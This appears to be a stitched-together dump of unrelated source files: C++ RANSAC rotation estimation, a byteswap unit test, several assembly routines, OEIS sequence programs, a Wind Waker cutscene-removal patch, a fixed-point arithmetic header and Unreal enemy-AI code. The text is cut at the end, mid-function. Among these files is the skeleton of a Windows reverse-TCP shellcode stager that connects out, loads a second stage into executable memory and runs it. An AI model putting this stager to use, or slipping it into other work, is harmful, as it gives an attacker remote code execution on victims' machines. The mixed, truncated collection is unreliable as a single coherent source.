// std::cerr << "], inliers: " << current_inliers << std::endl;
if (current_inliers>best_num_inliers) {
E=E_current;
errors=errors_current;
best_num_inliers=current_inliers;
}
}
return best_num_inliers;
}
float estimateRotation(Matrix3f& R,
Vector3fVector& dirs1,
Vector3fVector& dirs2) {
assert (dirs1.size()==dirs2.size() &&" dirs size differ");
assert (dirs1.size()>2 &&" too few points");
Matrix9f H;
H.setZero();
Vector9f b;
b.setZero();
Vector9f x;
x.setZero();
Matrix3_9f J;
J.setZero();
for (size_t i=0; i<dirs1.size(); ++i) {
const Vector3f& d1=dirs1[i];
const Vector3f& d2=dirs2[i];
J.block<1,3>(0,0)=d2.transpose();
J.block<1,3>(1,3)=d2.transpose();
J.block<1,3>(2,6)=d2.transpose();
H+=J.transpose()*J;
b+=J.transpose()*d1;
}
x=H.ldlt().solve(b);
int k=0;
for (int r=0; r<3; ++r)
for (int c=0; c<3; ++c, ++k)
R(r,c)=x(k);
// // renormalize solution
Eigen::JacobiSVD<Matrix3f> svd(R, Eigen::ComputeFullU|Eigen::ComputeFullV);
R=svd.matrixU()*svd.matrixV().transpose();
double chi=0;
for (size_t i=0; i<dirs1.size(); ++i) {
const Vector3f& d1=dirs1[i];
const Vector3f& d2=dirs2[i];
Vector3f e=d1-R*d2;
chi+=e.squaredNorm();
}
return chi;
}
float estimateRotationTwoPts(Matrix3f& R,
const Vector3fVector& dirs1,
const Vector3fVector& dirs2,
int idx_1,
int idx_2,
const float s_min,
const float epsilon) {
using namespace std;
R.setIdentity();
assert (dirs1.size()==dirs2.size() &&" dirs size differ");
assert (dirs1.size()>= 2 &&" need at least 2 dirs");
Vector3f v1=dirs1[idx_1].cross(dirs1[idx_2]);
Vector3f v2=dirs2[idx_1].cross(dirs2[idx_2]);
// construct two rotation matrices
float n1=v1.norm();
float n2=v2.norm();
if(n1<s_min || n2<s_min) {
return -1;
}
if (fabs(n1-n2)>epsilon) {
return -2;
}
v1.normalize();
v2.normalize();
Vector3fVector pts1(3), pts2(3);
pts1[0]=dirs1[idx_1];
pts1[1]=dirs1[idx_2];
pts1[2]=v1;
pts2[0]=dirs2[idx_1];
pts2[1]=dirs2[idx_2];
pts2[2]=v2;
return estimateRotation(R, pts1, pts2);
}
int scoreRotation(std::vector<float>& errors,
const Matrix3f& R,
const Vector3fVector& dirs1,
const Vector3fVector& dirs2,
const float inlier_threshold) {
assert(dirs1.size()==dirs2.size() && "dir size mismatch");
errors.resize(dirs1.size());
int num_inliers=0;
for (size_t i=0; i<dirs1.size(); ++i) {
const Vector3f& d1=dirs1[i];
const Vector3f& d2=dirs2[i];
Vector3f e=R*d2-d1;
errors[i]=e.squaredNorm();
if (errors[i]<inlier_threshold)
++num_inliers;
}
return num_inliers;
}
int estimateRotationRANSACTwoPts(Matrix3f& R,
std::vector<float>& errors,
const Vector3fVector& dirs1,
const Vector3fVector& dirs2,
float inlier_threshold,
int num_rounds,
const std::vector<double>& weights_) {
assert(dirs1.size()==dirs2.size() && "dir size mismatch");
size_t s=dirs1.size();
assert(s>=2 && "not enough correspondences for 2 pt estimate");
int best_num_inliers=0;
Vector3fVector dirs1_current(2);
Vector3fVector dirs2_current(2);
std::vector<float> errors_current(s);
std::vector<double> weights(s, 1.f);
if (weights_.size()) {
assert(weights.size()==s && "weights size mismatch");
weights=weights_;
}
PermutationSampler sampler(weights);
for (int round_num=0; round_num<num_rounds; ++round_num) {
// std::cerr << "RANSAC:, round: " << round_num << "[ ";
for (size_t i=0; i<2; ++i) {
double r=drand48()*sampler.getSum();
int idx=sampler.sampleWithRemoval(r);
dirs1_current[i]=dirs1[idx];
dirs2_current[i]=dirs2[idx];
// std::cerr << idx << " ";
}
sampler.recoverWeights();
Matrix3f R_current;
R_current.setIdentity();
float error=estimateRotationTwoPts(R_current, dirs1_current, dirs2_current, 0, 1);
if (error<0)
continue;
int current_inliers=scoreRotation(errors_current, R_current, dirs1, dirs2, inlier_threshold);
// std::cerr << "], inliers: " << current_inliers << std::endl;
if (current_inliers>best_num_inliers) {
R=R_current;
errors=errors_current;
best_num_inliers=current_inliers;
}
}
return best_num_inliers;
}
int estimateTransformRANSAC(Isometry3f& iso,
std::vector<float>& errors,
const Vector3fVector& dirs1,
const Vector3fVector& dirs2,
float inlier_threshold,
int num_rounds,
const std::vector<double>& weights_) {
assert(dirs1.size()==dirs2.size() && "dir size mismatch");
Matrix3f E;
vector<float> errors_essential;
int inliers_essential =
estimateEssentialRANSACEightPts(E, errors_essential, dirs1, dirs2, inlier_threshold, num_rounds, weights_);
Vector3fVector d1, d2;
int k=0;
for (size_t i=0; i<errors_essential.size(); ++i) {
if (errors_essential[i]<inlier_threshold) {
d1.push_back(dirs1[i]);
d2.push_back(dirs2[i]);
}
}
cerr << "compute transform " << k << endl;
inliers_essential = estimateTransformFromDirections(iso, d1, d2);
Matrix3f R;
vector<float> errors_rotation;
int inliers_rotation =
estimateRotationRANSACTwoPts(R, errors_rotation, dirs1, dirs2, inlier_threshold, num_rounds, weights_);
cerr << "inliers rotation: " << inliers_rotation;
cerr << "inliers essential: " << inliers_essential;
if (inliers_rotation>inliers_essential) {
iso.setIdentity();
iso.linear()=R;
errors=errors_rotation;
return inliers_rotation;
} else {
errors=errors_essential;
return inliers_essential;
}
}
}
}
|
// Copyright (c) 2016 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <compat/byteswap.h>
#include <test/test_jokecoin.h>
#include <boost/test/unit_test.hpp>
BOOST_FIXTURE_TEST_SUITE(bswap_tests, BasicTestingSetup)
BOOST_AUTO_TEST_CASE(bswap_tests)
{
// Sibling in bitcoin/src/qt/test/compattests.cpp
uint16_t u1 = 0x1234;
uint32_t u2 = 0x56789abc;
uint64_t u3 = 0xdef0123456789abc;
uint16_t e1 = 0x3412;
uint32_t e2 = 0xbc9a7856;
uint64_t e3 = 0xbc9a78563412f0de;
BOOST_CHECK(bswap_16(u1) == e1);
BOOST_CHECK(bswap_32(u2) == e2);
BOOST_CHECK(bswap_64(u3) == e3);
}
BOOST_AUTO_TEST_SUITE_END()
|
.data
array:.word -4,5,8,-1
msg1:.asciiz"\n The sum of the positive values="
msg2:.asciiz"\n The sum of the negative values="
.globl main
.text
main:
li $v0,4
la $a0,msg1
syscall
la $a0,array
li $a1,4
jal sum
move $a0,$v0
li $v0,1
syscall
li $v0,4
la $a0,msg2
syscall
li $v0,1
move $a0,$v1
syscall
li $v0,10
syscall |
#include "ASI.h"
#include "DataMemory.h"
#include <iostream>
using namespace std;
//constructor
ASI::ASI(vector<Operand> inst): Instruction(inst)
{
//validation on the number of parameters
if (inst.size() != 2)
throw invalid_argument("JP0 instruction takes 3 parameters!");
//validation on the parameter types
if (inst[1].get_type())
throw invalid_argument("Second paramater must be variable!");
}
//execution function
int ASI::calculate(int pc, DataMemory& data, bool& run)
{
int in1 = operation[0].get_value();
data.set_value(operation[1].get_value(), in1);
cout << "Executing Instruction #" << pc << endl;
return pc++;
}
//print function
void ASI::print()
{
cout << "ASI ";
for (Operand iter : operation)
cout << iter.get_value() << " ";
cout << endl;
}
//destructor
ASI::~ASI()
{
}
|
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (24 July 2009)
; Size: 274 bytes
; Build: >build.py stager_reverse_tcp_nx
;-----------------------------------------------------------------------------;
[BITS 32]
[ORG 0]
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
%include "./src/block/block_api.asm"
start: ;
pop ebp ; pop off the address of 'api_call' for calling later.
%include "./src/block/block_reverse_tcp.asm"
; By here we will have performed the reverse_tcp connection and EDI will be our socket.
%include "./src/block/block_recv.asm"
; By now we will have recieved in the second stage into a RWX buffer and be executing it |
// Copyright Vladyslav Kulinych 2018. All Rights Reserved.
#include "EnemyAIBase.h"
#include "Enemy.h"
#include "BehaviorTree/BehaviorTree.h"
#include "BehaviorTree/BehaviorTreeComponent.h"
#include "BehaviorTree/BlackboardComponent.h"
#include "BehaviorTree/Blackboard/BlackboardKeyAllTypes.h"
#include "GameFramework/Pawn.h"
AEnemyAIBase::AEnemyAIBase()
{
BlackboardComp = CreateDefaultSubobject<UBlackboardComponent>(TEXT("BBComp"));
BehaviorComp = CreateDefaultSubobject<UBehaviorTreeComponent>(TEXT("BehaviorTreeComp"));
}
FVector AEnemyAIBase::GetOwnerPosition()
{
// Getting owner location
return Pawn->GetActorLocation();
}
void AEnemyAIBase::Possess(APawn * InPawn)
{
Super::Possess(InPawn);
Pawn = Cast<AEnemy>(InPawn);
if (Pawn && Pawn->BehaviorTree)
{
BlackboardComp->InitializeBlackboard(*Pawn->BehaviorTree->BlackboardAsset);
TargetKeyID = BlackboardComp->GetKeyID("Target");
BehaviorComp->StartTree(*Pawn->BehaviorTree);
}
}
APawn* AEnemyAIBase::GetPossessedPawn()
{
return Pawn;
}
|
;
; Automatically generated
;
.include "00start.asm"
.section code
.send code
|
// Autogenerated from CppHeaderCreator
// Created by Sc2ad
// =========================================================================
#pragma once
// Begin includes
#include "extern/beatsaber-hook/shared/utils/typedefs.h"
// Including type: System.ObjectDisposedException
#include "System/ObjectDisposedException.hpp"
// Completed includes
// Type namespace: Unity
namespace Unity {
// Size: 0x90
#pragma pack(push, 1)
// Autogenerated type: Unity.ThrowStub
class ThrowStub : public System::ObjectDisposedException {
public:
// Creating value type constructor for type: ThrowStub
ThrowStub() noexcept {}
// static public System.Void ThrowNotSupportedException()
// Offset: 0x231BE1C
static void ThrowNotSupportedException();
}; // Unity.ThrowStub
#pragma pack(pop)
}
#include "extern/beatsaber-hook/shared/utils/il2cpp-type-check.hpp"
DEFINE_IL2CPP_ARG_TYPE(Unity::ThrowStub*, "Unity", "ThrowStub");
|
; ###
; math.asm begin
; ###
#bank rom
multiply: ; x, y (addreses SP+6, SP+5)
; param stack indicies
.x = 6
.y = 5
; local variables stack indicies
.y_local = 0
.z = -1
__prologue
; TODO: check and swap params to make this faster
push #0x00 ; init .y_local = 0
push #0x00 ; init z=0
__load_local b, .x
__load_local a, .y
add a, #0
jmz .done
__store_local a, .y_local
.run:
__load_local a, .z
add a, b
__store_local a, .z
__load_local a, .y_local
sub a, #1
jmz .done
__store_local a, .y_local
jmp .run
.done:
pop a ; save z to a reg
pop b ; discard y_local
__epilogue
multiply16: ; x, y, z (return)
; param stack indicies
.x = 8
.y = 7
.z = 5 ; word allocates 5, 6
; local variables stack indicies
.y_local = 0
__prologue
; TODO: check and swap params to make this faster
push #0x00 ; init .y_local = 0
__load_local b, .x
__load_local a, .y
add a, #0
jmz .done
__store_local a, .y_local
.run:
__load_local a, .z
add a, b
jmc .carry
__store_local a, .z
jmp .decrement
.carry:
__store_local a, .z
__load_local a, .z+1
add a, #0x01
__store_local a, .z+1
.decrement:
__load_local a, .y_local
sub a, #1
jmz .done
__store_local a, .y_local
jmp .run
.done:
pop b ; discard y_local
__epilogue
; ###
; math.asm end
; ### |
; A177881: Partial sums of round(3^n/10).
; 0,0,1,4,12,36,109,328,984,2952,8857,26572,79716,239148,717445,2152336,6457008,19371024,58113073,174339220,523017660,1569052980,4707158941,14121476824,42364430472,127093291416,381279874249,1143839622748,3431518868244,10294556604732,30883669814197,92651009442592,277953028327776,833859084983328,2501577254949985,7504731764849956
mov $1,3
lpb $0
sub $0,1
mul $1,3
lpe
div $1,20
|
; A021328: Decimal expansion of 1/324.
; 0,0,3,0,8,6,4,1,9,7,5,3,0,8,6,4,1,9,7,5,3,0,8,6,4,1,9,7,5,3,0,8,6,4,1,9,7,5,3,0,8,6,4,1,9,7,5,3,0,8,6,4,1,9,7,5,3,0,8,6,4,1,9,7,5,3,0,8,6,4,1,9,7,5,3,0,8,6,4,1,9,7,5,3,0,8,6,4,1,9,7,5,3,0,8,6,4,1,9,7
sub $0,1
mul $0,2
trn $0,1
sub $0,1
mul $0,485
div $0,9
add $0,3
mod $0,10
|
; A253487: Number of lattice paths of 2*n+2 steps in the first quadrant from (0,0) to (n,n).
; 2,16,90,448,2100,9504,42042,183040,787644,3359200,14226212,59907456,251100200,1048380480,4362680250,18103127040,74934688620,309509877600,1275964023180,5251296336000,21579247511640,88555121603520,362957071241700,1485969577717248,6077433001815000
mov $2,$0
mul $0,2
add $0,2
bin $0,$2
mov $1,$2
add $1,1
mul $0,$1
mov $1,$0
mul $1,2
|
; This patch removes various hardcoded cutscenes from the game.
; nop out a couple lines so the long intro movie is skipped.
.open "sys/main.dol"
.org 0x80232C78
nop
.org 0x80232C88
nop
.close
; This makes the warps out of boss rooms always skip the cutscene usually shown the first time you beat the boss and warp out.
.open "files/rels/d_a_warpf.rel" ; Warp out of boss object
.org 0xC3C
; Function C3C of d_a_warpf.rel is checking if the post-boss cutscene for this dungeon has been viewed yet or not.
; Change it to simply always return true, so that it acts like it has been viewed from the start.
li r3, 1
blr
.close
; Remove the cutscene where the Tower of the Gods rises out of the sea.
; To do this we modify the goddess statue's code to skip starting the raising cutscene.
; Instead we branch to code that ends the current pearl-placing event after the tower raised event bit is set.
.open "files/rels/d_a_obj_doguu.rel" ; Goddess statues
.org 0x267C
b 0x26A0
.close
; In order to get rid of the cutscene where the player warps down to Hyrule 3, we set the HYRULE_3_WARP_CUTSCENE event bit in the custom function for initializing a new game.
; But then that results in the warp appearing even before the player should unlock it.
; So we replace a couple places that check that event bit to instead call a custom function that returns whether the warp should be unlocked or not.
.open "files/rels/d_a_warpdm20.rel" ; Hyrule warp object
.org 0x634
bl check_hyrule_warp_unlocked
.org 0xB50
bl check_hyrule_warp_unlocked
; Custom function that checks if the warp down to Hyrule should be unlocked.
; Requirements: Must have all 8 pieces of the Triforce.
.org @NextFreeSpace
.global check_hyrule_warp_unlocked
check_hyrule_warp_unlocked:
stwu sp, -0x10 (sp)
mflr r0
stw r0, 0x14 (sp)
lis r3, 0x803C4C08@ha
addi r3, r3, 0x803C4C08@l
addi r3, r3, 180
bl getTriforceNum__20dSv_player_collect_cFv
cmpwi r3, 8
bge hyrule_warp_unlocked
hyrule_warp_not_unlocked:
li r3, 0
b hyrule_warp_end
hyrule_warp_unlocked:
li r3, 1
hyrule_warp_end:
lwz r0, 0x14 (sp)
mtlr r0
addi sp, sp, 0x10
blr
.close
; Change the conditions that cause certain letters to be sent to Link so they don't depend on seeing cutscenes.
.open "files/rels/d_a_obj_toripost.rel" ; Mailbox
.org 0x1B0C
; In vanilla, Orca's letter is sent when you watch a cutscene on Greatfish Isle.
; That cutscene is removed, so change it to be sent when you kill Kalle Demos.
li r3, 4
.org 0x1B10
bl dComIfGs_isStageBossEnemy__Fi
.close
.open "sys/main.dol"
.org 0x80197ADC
; In vanilla, Aryll's letter is sent after watching a cutscene in Hyrule 2.
; That cutscene is removed, so change it to be after killing Helmaroc King.
li r3, 2
bl dComIfGs_isStageBossEnemy__Fi
.org 0x80197AFC
; In vanilla, Tingle's letter is sent after watching a cutscene in Hyrule 2 and rescuing Tingle.
; That cutscene is removed, so change it to be after killing Helmaroc King and rescuing Tingle.
; Change when Tingle's letter is sent.
li r3, 2
bl dComIfGs_isStageBossEnemy__Fi
.close
; Modify the code for warping with the Ballad of Gales to get rid of the cutscene that accompanies it.
.open "files/rels/d_a_ship.rel"
.org 0x7A10
; Get rid of the line that checks if KoRL has reached a high enough Y pos to start the warp yet.
nop
.org 0x7680
; Get rid of the line that plays the warping music, since it would continue playing after the warp has happened.
nop
.close
; Remove song replays, where Link plays a fancy animation to conduct the song after the player plays it.
.open "sys/main.dol"
.org 0x8014ECE0 ; In daPy_lk_c::procTactPlay
; Originally checked if the "You conducted..." text box has disappeared.
; Remove that check.
nop
.org 0x8014EF28 ; In daPy_lk_c::procTactPlay
; Originally checked if Link's conducting animation has finished playing.
; Remove that check.
nop
.close
; Change Tott to only dance once to teach you the Song of Passing, instead of twice.
.open "files/rels/d_a_npc_tt.rel"
.org 0xC68
li r0, 1 ; Number of full dance repetitions to do
.close
; Change the NPC version of Makar that spawns when you kill Kalle Demos to not initiate the event where he talks to you and thanks you for saving him.
; In addition to being unnecessary, that cutscene has an extremely small chance of softlocking the game even in vanilla.
.open "files/rels/d_a_npc_cb1.rel" ; Makar
.org 0x80B8
; This line originally called isStageBossEnemy to see if he's being spawned during Kalle Demos's death or afterwards.
; Change it to always be true, which tricks Makar into thinking he's being spawned after Kalle Demos's death in both instances.
li r3, 1
.close
; Modify the item get funcs for the 3 pearls to call custom functions that automatically place the pearls as soon as you get them.
.open "sys/main.dol"
.org 0x800C43F4 ; In item_func_pearl1__Fv
bl give_pearl_and_raise_totg_if_necessary
.org 0x800C4424 ; In item_func_pearl2__Fv
bl give_pearl_and_raise_totg_if_necessary
.org 0x800C4454 ; In item_func_pearl3__Fv
bl give_pearl_and_raise_totg_if_necessary
.org @NextFreeSpace
; Custom function that gives a goddess pearl and also places it in the statue's hands automatically, and raises TotG if the player has all 3 pearls.
.global give_pearl_and_raise_totg_if_necessary
give_pearl_and_raise_totg_if_necessary:
stwu sp, -0x10 (sp)
mflr r0
stw r0, 0x14 (sp)
stw r31, 0xC (sp)
mr r31, r4 ; Preserve argument r4, which has the pearl index to give
bl onSymbol__20dSv_player_collect_cFUc ; Replace the call we overwrote to jump here, which gives the player a specific pearl
lis r3, 0x803C522C@ha ; Event flag bitfield, will be needed several times
addi r3, r3, 0x803C522C@l
; Check the pearl index to know which event flag to set for the pearl being placed
cmpwi r31, 0
beq place_nayrus_pearl
cmpwi r31, 1
beq place_dins_pearl
cmpwi r31, 2
beq place_farores_pearl
b check_should_raise_totg
place_nayrus_pearl:
li r4, 0x1410 ; Placed Nayru's Pearl
bl onEventBit__11dSv_event_cFUs
b check_should_raise_totg
place_dins_pearl:
li r4, 0x1480 ; Placed Din's Pearl
bl onEventBit__11dSv_event_cFUs
b check_should_raise_totg
place_farores_pearl:
li r4, 0x1440 ; Placed Farore's Pearl
bl onEventBit__11dSv_event_cFUs
check_should_raise_totg:
lis r5, 0x803C4CC7@ha ; Bitfield of the player's currently owned pearls
addi r5, r5, 0x803C4CC7@l
lbz r4, 0 (r5)
cmpwi r4, 7
bne after_raising_totg ; Only raise TotG if the player owns all 3 pearls
li r4, 0x1E40 ; TOWER_OF_THE_GODS_RAISED
bl onEventBit__11dSv_event_cFUs
li r4, 0x2E80 ; PEARL_TOWER_CUTSCENE
bl onEventBit__11dSv_event_cFUs
after_raising_totg:
lwz r31, 0xC (sp)
lwz r0, 0x14 (sp)
mtlr r0
addi sp, sp, 0x10
blr
.close
; After you kill Puppet Ganon, he would normally respawn you in his room but override the layer to be layer 9 for the cutscene there.
; We set the switch for having already seen that cutscene in the new game initialization code, but then the rope you need to climb doesn't appear because the layer is wrong.
; We remove the layer override from Puppet Ganon's call to setNextStage.
.open "files/rels/d_a_bgn.rel" ; Puppet Ganon
.org 0xB1E0
li r6, -1 ; No layer override
.close
; Change all treasure chests to open quickly.
; Removes the build up music, uses the short opening event instead of the long dark room event, and use the short chest opening animation.
; This change also fixes the bug where the player can duplicate items by using storage on the non-wooden chests.
.open "files/rels/d_a_tbox.rel" ; Treasure chests
.org 0x279C ; In actionOpenWait__8daTbox_cFv
b 0x2800
.org 0x2870 ; In actionOpenWait__8daTbox_cFv
nop
.org 0x3D2E ; File ID of the bck animation to use for chest type 1
.short 9 ; Was originally 8 (long chest opening anim)
.org 0x3D3A ; File ID of the bck animation to use for chest type 2
.short 9 ; Was originally 8 (long chest opening anim)
.org 0x3D46 ; File ID of the bck animation to use for chest type 3
.short 9 ; Was originally 8 (long chest opening anim)
.close
; Change the item get sound used when opening a wooden chest to the good item sound instead of the bad item sound.
; Because of the above change where all chests were given the wooden chest event, this also affects non-wooden chests too.
; To do this we change the code that decides what item get sound to play to ignore prm0 to Link's 010open_treasure.
.open "sys/main.dol"
.org 0x8012E3A4 ; In setGetItemSound__9daPy_lk_cFUsi
b 0x8012E3E8
.close
; Prevent Ivan from automatically triggering the cutscene where the Killer Bees tell you about Mrs. Marie's birthday and the Joy Pendant in the tree.
; (It can still be manually triggered by talking to any of the Killer Bees, in case you actually want to activate the Joy Pendant in the tree.)
.open "files/rels/d_a_npc_mk.rel" ; Ivan
.org 0x2F80
b 0x2FD8
.close
; But because the above cutscene is also what normally allows you to give Joy Pendants to Mrs. Marie, we instead change the event bit she checks to enable that (1E04) to instead check the event bit for her having given you the reward for catching the Killer Bees (1F80).
; This is so the player doesn't need to manually trigger the above cutscene to do the Joy Pendant trading quests.
.open "files/rels/d_a_npc_ho.rel" ; Mrs. Marie
.org 0x15FC ; In daNpc_Ho_c::wait01
; For deciding if she should react to the player presenting an item at all
li r4, 0x1F80
.org 0xDB4 ; In daNpc_Ho_c::getMsg
; For deciding what message to say when reacting to the player presenting a Joy Pendant
li r4, 0x1F80
.close
|
#ifndef FPM_FIXED_HPP
#define FPM_FIXED_HPP
#include <cassert>
#include <cmath>
#include <cstdint>
#include <functional>
#include <limits>
#include <type_traits>
namespace fpm
{
//! Fixed-point number type
//! \tparam BaseType the base integer type used to store the fixed-point number. This can be a signed or unsigned type.
//! \tparam IntermediateType the integer type used to store intermediate results during calculations.
//! \tparam FractionBits the number of bits of the BaseType used to store the fraction
template <typename BaseType, typename IntermediateType, unsigned int FractionBits>
class fixed
{
static_assert(std::is_integral<BaseType>::value, "BaseType must be an integral type");
static_assert(FractionBits > 0, "FractionBits must be greater than zero");
static_assert(FractionBits <= sizeof(BaseType) * 8, "BaseType must at least be able to contain entire fraction");
static_assert(FractionBits <= 62, "Fraction may be no more than 62 bits");
static_assert(sizeof(IntermediateType) > sizeof(BaseType), "IntermediateType must be larger than BaseType");
static_assert(std::is_signed<IntermediateType>::value == std::is_signed<BaseType>::value, "IntermediateType must have same signedness as BaseType");
static constexpr BaseType FRACTION_MULT = BaseType(1) << FractionBits;
struct raw_construct_tag {};
constexpr inline fixed(BaseType val, raw_construct_tag) noexcept : m_value(val) {}
public:
inline fixed() noexcept {}
// Converts an integral number to the fixed-point type.
// Like static_cast, this truncates bits that don't fit.
template <typename T, typename std::enable_if<std::is_integral<T>::value>::type* = nullptr>
constexpr inline explicit fixed(T val) noexcept
: m_value(static_cast<BaseType>(val * FRACTION_MULT))
{}
// Converts an floating-point number to the fixed-point type.
// Like static_cast, this truncates bits that don't fit.
template <typename T, typename std::enable_if<std::is_floating_point<T>::value>::type* = nullptr>
constexpr inline explicit fixed(T val) noexcept
: m_value(static_cast<BaseType>(std::round(val * FRACTION_MULT)))
{}
// Constructs from another fixed-point type with possibly different underlying representation.
// Like static_cast, this truncates bits that don't fit.
template <typename B, typename I, unsigned int F>
constexpr inline explicit fixed(fixed<B,I,F> val) noexcept
: m_value(from_fixed_point<F>(val.raw_value()).raw_value())
{}
// Explicit conversion to a floating-point type
template <typename T, typename std::enable_if<std::is_floating_point<T>::value>::type* = nullptr>
constexpr inline explicit operator T() const noexcept
{
return static_cast<T>(m_value) / FRACTION_MULT;
}
// Explicit conversion to an integral type
template <typename T, typename std::enable_if<std::is_integral<T>::value>::type* = nullptr>
constexpr inline explicit operator T() const noexcept
{
return static_cast<T>(m_value / FRACTION_MULT);
}
// Returns the raw underlying value of this type.
// Do not use this unless you know what you're doing.
constexpr inline BaseType raw_value() const noexcept
{
return m_value;
}
//! Constructs a fixed-point number from another fixed-point number.
//! \tparam NumFractionBits the number of bits used by the fraction in \a value.
//! \param value the integer fixed-point number
template <unsigned int NumFractionBits, typename T, typename std::enable_if<(NumFractionBits > FractionBits)>::type* = nullptr>
static constexpr inline fixed from_fixed_point(T value) noexcept
{
// To correctly round the last bit in the result, we need one more bit of information.
// We do this by multiplying by two before dividing and adding the LSB to the real result.
return fixed(static_cast<BaseType>(
value / (T(1) << (NumFractionBits - FractionBits)) +
(value / (T(1) << (NumFractionBits - FractionBits - 1)) % 2)),
raw_construct_tag{});
}
template <unsigned int NumFractionBits, typename T, typename std::enable_if<(NumFractionBits <= FractionBits)>::type* = nullptr>
static constexpr inline fixed from_fixed_point(T value) noexcept
{
return fixed(static_cast<BaseType>(
value * (T(1) << (FractionBits - NumFractionBits))),
raw_construct_tag{});
}
// Constructs a fixed-point number from its raw underlying value.
// Do not use this unless you know what you're doing.
static constexpr inline fixed from_raw_value(BaseType value) noexcept
{
return fixed(value, raw_construct_tag{});
}
//
// Constants
//
static constexpr fixed e() { return from_fixed_point<61>(6267931151224907085ll); }
static constexpr fixed pi() { return from_fixed_point<61>(7244019458077122842ll); }
static constexpr fixed half_pi() { return from_fixed_point<62>(7244019458077122842ll); }
static constexpr fixed two_pi() { return from_fixed_point<60>(7244019458077122842ll); }
//
// Arithmetic member operators
//
constexpr inline fixed operator-() const noexcept
{
return fixed::from_raw_value(-m_value);
}
inline fixed& operator+=(const fixed& y) noexcept
{
m_value += y.m_value;
return *this;
}
template <typename I, typename std::enable_if<std::is_integral<I>::value>::type* = nullptr>
inline fixed& operator+=(I y) noexcept
{
m_value += y * FRACTION_MULT;
return *this;
}
inline fixed& operator-=(const fixed& y) noexcept
{
m_value -= y.m_value;
return *this;
}
template <typename I, typename std::enable_if<std::is_integral<I>::value>::type* = nullptr>
inline fixed& operator-=(I y) noexcept
{
m_value -= y * FRACTION_MULT;
return *this;
}
inline fixed& operator*=(const fixed& y) noexcept
{
// Normal fixed-point multiplication is: x * y / 2**FractionBits.
// To correctly round the last bit in the result, we need one more bit of information.
// We do this by multiplying by two before dividing and adding the LSB to the real result.
auto value = (static_cast<IntermediateType>(m_value) * y.m_value) / (FRACTION_MULT / 2);
m_value = static_cast<BaseType>((value / 2) + (value % 2));
return *this;
}
template <typename I, typename std::enable_if<std::is_integral<I>::value>::type* = nullptr>
inline fixed& operator*=(I y) noexcept
{
m_value *= y;
return *this;
}
inline fixed& operator/=(const fixed& y) noexcept
{
assert(y.m_value != 0);
// Normal fixed-point division is: x * 2**FractionBits / y.
// To correctly round the last bit in the result, we need one more bit of information.
// We do this by multiplying by two before dividing and adding the LSB to the real result.
auto value = (static_cast<IntermediateType>(m_value) * FRACTION_MULT * 2) / y.m_value;
m_value = static_cast<BaseType>((value / 2) + (value % 2));
return *this;
}
template <typename I, typename std::enable_if<std::is_integral<I>::value>::type* = nullptr>
inline fixed& operator/=(I y) noexcept
{
m_value /= y;
return *this;
}
private:
BaseType m_value;
};
//
// Convenience typedefs
//
using fixed_16_16 = fixed<std::int32_t, std::int64_t, 16>;
using fixed_24_8 = fixed<std::int32_t, std::int64_t, 8>;
using fixed_8_24 = fixed<std::int32_t, std::int64_t, 24>;
//
// Addition
//
template <typename B, typename I, unsigned int F>
constexpr inline fixed<B, I, F> operator+(const fixed<B, I, F>& x, const fixed<B, I, F>& y) noexcept
{
return fixed<B, I, F>(x) += y;
}
template <typename B, typename I, unsigned int F, typename T, typename std::enable_if<std::is_integral<T>::value>::type* = nullptr>
constexpr inline fixed<B, I, F> operator+(const fixed<B, I, F>& x, T y) noexcept
{
return fixed<B, I, F>(x) += y;
}
template <typename B, typename I, unsigned int F, typename T, typename std::enable_if<std::is_integral<T>::value>::type* = nullptr>
constexpr inline fixed<B, I, F> operator+(T x, const fixed<B, I, F>& y) noexcept
{
return fixed<B, I, F>(y) += x;
}
//
// Subtraction
//
template <typename B, typename I, unsigned int F>
constexpr inline fixed<B, I, F> operator-(const fixed<B, I, F>& x, const fixed<B, I, F>& y) noexcept
{
return fixed<B, I, F>(x) -= y;
}
template <typename B, typename I, unsigned int F, typename T, typename std::enable_if<std::is_integral<T>::value>::type* = nullptr>
constexpr inline fixed<B, I, F> operator-(const fixed<B, I, F>& x, T y) noexcept
{
return fixed<B, I, F>(x) -= y;
}
template <typename B, typename I, unsigned int F, typename T, typename std::enable_if<std::is_integral<T>::value>::type* = nullptr>
constexpr inline fixed<B, I, F> operator-(T x, const fixed<B, I, F>& y) noexcept
{
return fixed<B, I, F>(x) -= y;
}
//
// Multiplication
//
template <typename B, typename I, unsigned int F>
constexpr inline fixed<B, I, F> operator*(const fixed<B, I, F>& x, const fixed<B, I, F>& y) noexcept
{
return fixed<B, I, F>(x) *= y;
}
template <typename B, typename I, unsigned int F, typename T, typename std::enable_if<std::is_integral<T>::value>::type* = nullptr>
constexpr inline fixed<B, I, F> operator*(const fixed<B, I, F>& x, T y) noexcept
{
return fixed<B, I, F>(x) *= y;
}
template <typename B, typename I, unsigned int F, typename T, typename std::enable_if<std::is_integral<T>::value>::type* = nullptr>
constexpr inline fixed<B, I, F> operator*(T x, const fixed<B, I, F>& y) noexcept
{
return fixed<B, I, F>(y) *= x;
}
//
// Division
//
template <typename B, typename I, unsigned int F>
constexpr inline fixed<B, I, F> operator/(const fixed<B, I, F>& x, const fixed<B, I, F>& y) noexcept
{
return fixed<B, I, F>(x) /= y;
}
template <typename B, typename I, unsigned int F, typename T, typename std::enable_if<std::is_integral<T>::value>::type* = nullptr>
constexpr inline fixed<B, I, F> operator/(const fixed<B, I, F>& x, T y) noexcept
{
return fixed<B, I, F>(x) /= y;
}
template <typename B, typename I, unsigned int F, typename T, typename std::enable_if<std::is_integral<T>::value>::type* = nullptr>
constexpr inline fixed<B, I, F> operator/(T x, const fixed<B, I, F>& y) noexcept
{
return fixed<B, I, F>(x) /= y;
}
//
// Comparison operators
//
template <typename B, typename I, unsigned int F>
constexpr inline bool operator==(const fixed<B, I, F>& x, const fixed<B, I, F>& y) noexcept
{
return x.raw_value() == y.raw_value();
}
template <typename B, typename I, unsigned int F>
constexpr inline bool operator!=(const fixed<B, I, F>& x, const fixed<B, I, F>& y) noexcept
{
return x.raw_value() != y.raw_value();
}
template <typename B, typename I, unsigned int F>
constexpr inline bool operator<(const fixed<B, I, F>& x, const fixed<B, I, F>& y) noexcept
{
